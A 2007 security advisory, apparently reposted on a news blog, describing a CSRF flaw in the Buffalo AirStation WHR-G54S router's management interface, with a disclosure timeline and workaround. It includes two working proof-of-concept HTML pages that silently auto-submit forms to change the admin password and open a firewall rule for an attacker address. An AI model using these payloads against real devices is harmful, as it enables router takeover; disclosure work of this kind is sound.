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Sunday, September 09, 2007

[NEWS] Buffalo AirStation WHR-G54S Web Management CSRF Vulnerability

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Buffalo AirStation WHR-G54S Web Management CSRF Vulnerability
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SUMMARY

During cursory inspection of WHR-G54S it was discovered that a cross site
request forgery vulnerability exists in the management interface. Thus, it
is possible for an attacker to perform any administrative action in the
management interface. These include e.g. changing administrative password
or adding new firewall rules.

DETAILS

Vulnerable Systems:
* WHR-G54S version 1.20

Buffalo AirStation WHR-G54S Ver.1.20 device management interface does not
validate the origin of an HTTP request. If attacker is able to make user
visit a hostile web page, a device can be controlled by submitting
suitable forms. It is possible to add new users for example.

Successful attack requires that the attacker knows the management
interface address for the target device. As authentication is done using
HTTP Basic authentication, exploiting this vulnerability requires more
effort compared to forms authentication.

Proof of Concept:
<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=ap.html

"style="display:none">

<input name="ap" value="Evil">
<input name="TEST_INPUT" value="1">
<input name="edit_ropass" value="evil">
<input name="edit_ropass2" value="evil">
<input name="ropass" value="live">
<input name="gupass" value="">
</form>
</body>
</html>

Note: ropass value is reversed edit_ropass value.

<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html"
style="display:none">

<input name="sela" value="ACCEPT">
<input name="sel_direction" value="WAN">
<input name="H_sour_ip" value="1.1.1.1">
<input name="H_dest_ip" value="">
<input name="H_prt" value="all">
<input name="Do_ADDtop" value="Add%A0%28Head%29">

</form>
</body>
</html>

1.1.1.1 = attacker's IP address


Workaround:
Do not browse untrusted websites while using the management interface.

Log out after administering the device.

Disclosure Timeline:
XX July 2007 - Discovered the issue
15. August 2007 - Contacted Buffalo
17. August 2007 - Contacted Buffalo again.
7. September 2007 - No response from Vendor.
7. September 2007 - Advisory released


ADDITIONAL INFORMATION

The information has been provided by
<mailto:henri.lindberg@smilehouse.com> Henri Lindberg - Smilehouse Oy.
The original article can be found at:
<http://www.louhi.fi/advisory/buffalo_070907.txt>

http://www.louhi.fi/advisory/buffalo_070907.txt

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